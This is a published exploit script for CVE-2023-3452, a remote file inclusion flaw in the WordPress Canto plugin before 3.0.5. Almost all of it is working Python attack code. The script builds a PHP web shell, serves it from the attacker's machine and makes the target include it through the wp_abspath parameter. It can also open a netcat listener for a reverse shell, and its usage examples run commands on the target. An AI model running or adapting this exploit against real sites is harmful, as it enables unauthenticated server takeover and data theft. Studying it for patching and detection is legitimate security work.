WordPress Canto Remote Shell Upload

`# Exploit Title: Wordpress Plugin Canto < 3.0.5 - Remote File Inclusion (RFI) and Remote Code Execution (RCE)  
# Date: 04/11/2023  
# Exploit Author: Leopoldo Angulo (leoanggal1)  
# Vendor Homepage: https://wordpress.org/plugins/canto/  
# Software Link: https://downloads.wordpress.org/plugin/canto.3.0.4.zip  
# Version: All versions of Canto Plugin prior to 3.0.5  
# Tested on: Ubuntu 22.04, Wordpress 6.3.2, Canto Plugin 3.0.4  
# CVE : CVE-2023-3452  
  
#PoC Notes:  
#The Canto plugin for WordPress is vulnerable to Remote File Inclusion in versions up to, and including, 3.0.4 via the 'wp_abspath' parameter. This allows unauthenticated attackers to include and execute arbitrary remote code on the server, provided that allow_url_include is enabled. (Reference: https://nvd.nist.gov/vuln/detail/CVE-2023-3452)  
#This code exploits the improper handling of the wp_abspath variable in the following line of the "download.php" code:  
#... require_once($_REQUEST['wp_abspath'] . '/wp-admin/admin.php'); ...  
#This is just an example but there is this same misconfiguration in other lines of the vulnerable plugin files.  
# More information in Leoanggal1's Github  
  
#!/usr/bin/python3  
import argparse  
import http.server  
import socketserver  
import threading  
import requests  
import os  
import subprocess  
  
# Define the default web shell  
default_web_shell = "<?php system($_GET['cmd']); ?>"  
  
def create_admin_file(local_dir, local_shell=None):  
if not os.path.exists(local_dir):  
os.makedirs(local_dir)  
  
# If a local shell is provided, use it; otherwise, use the default web shell  
if local_shell:  
with open(f"{local_dir}/admin.php", "wb") as admin_file:  
with open(local_shell, "rb") as original_file:  
admin_file.write(original_file.read())  
else:  
with open(f"{local_dir}/admin.php", "w") as admin_file:  
admin_file.write(default_web_shell)  
  
def start_local_server(local_port):  
Handler = http.server.SimpleHTTPRequestHandler  
httpd = socketserver.TCPServer(("0.0.0.0", local_port), Handler)  
  
print(f"Local web server on port {local_port}...")  
httpd.serve_forever()  
  
return httpd  
  
def exploit_rfi(url, local_shell, local_host, local_port, command, nc_port):  
local_dir = "wp-admin"  
create_admin_file(local_dir, local_shell)  
  
target_url = f"{url}/wp-content/plugins/canto/includes/lib/download.php"  
local_server = f"http://{local_host}:{local_port}"  
command = f"cmd={command}"  
  
if local_shell:  
# If a local shell is provided, start netcat on the specified port  
subprocess.Popen(["nc", "-lvp", str(nc_port)])  
  
server_thread = threading.Thread(target=start_local_server, args=(local_port,))  
server_thread.daemon = True  
server_thread.start()  
  
exploit_url = f"{target_url}?wp_abspath={local_server}&{command}"  
print(f"Exploitation URL: {exploit_url}")  
  
response = requests.get(exploit_url)  
print("Server response:")  
print(response.text)  
  
# Shutdown the local web server  
print("Shutting down local web server...")  
server_thread.join()  
  
if __name__ == "__main__":  
examples = '''  
Examples:  
- Check the vulnerability  
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33  
  
- Execute a command  
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -c 'id'  
  
- Upload and run a reverse shell file. You can download it from https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php or generate it with msfvenom.  
python3 CVE-2023-3452.py -u http://192.168.1.142 -LHOST 192.168.1.33 -s php-reverse-shell.php  
'''  
parser = argparse.ArgumentParser(description="Script to exploit the Remote File Inclusion vulnerability in the Canto plugin for WordPress - CVE-2023-3452", epilog=examples, formatter_class=argparse.RawDescriptionHelpFormatter)  
parser.add_argument("-u", "--url", required=True, default=None, help="Vulnerable URL")  
parser.add_argument("-s", "--shell", help="Local file for web shell")  
parser.add_argument("-LHOST", "--local_host", required=True, help="Local web server IP")  
parser.add_argument("-LPORT", "--local_port", help="Local web server port")  
parser.add_argument("-c", "--command", default="whoami", help="Command to execute on the target")  
parser.add_argument("-NC_PORT", "--nc_port", type=int, help="Listener port for netcat")  
  
try:  
args = parser.parse_args()  
  
if args.local_port is None:  
args.local_port = 8080 # Valor predeterminado si LPORT no se proporciona  
exploit_rfi(args.url, args.shell, args.local_host, int(args.local_port), args.command, args.nc_port)  
  
except SystemExit:  
parser.print_help()  
  
  
`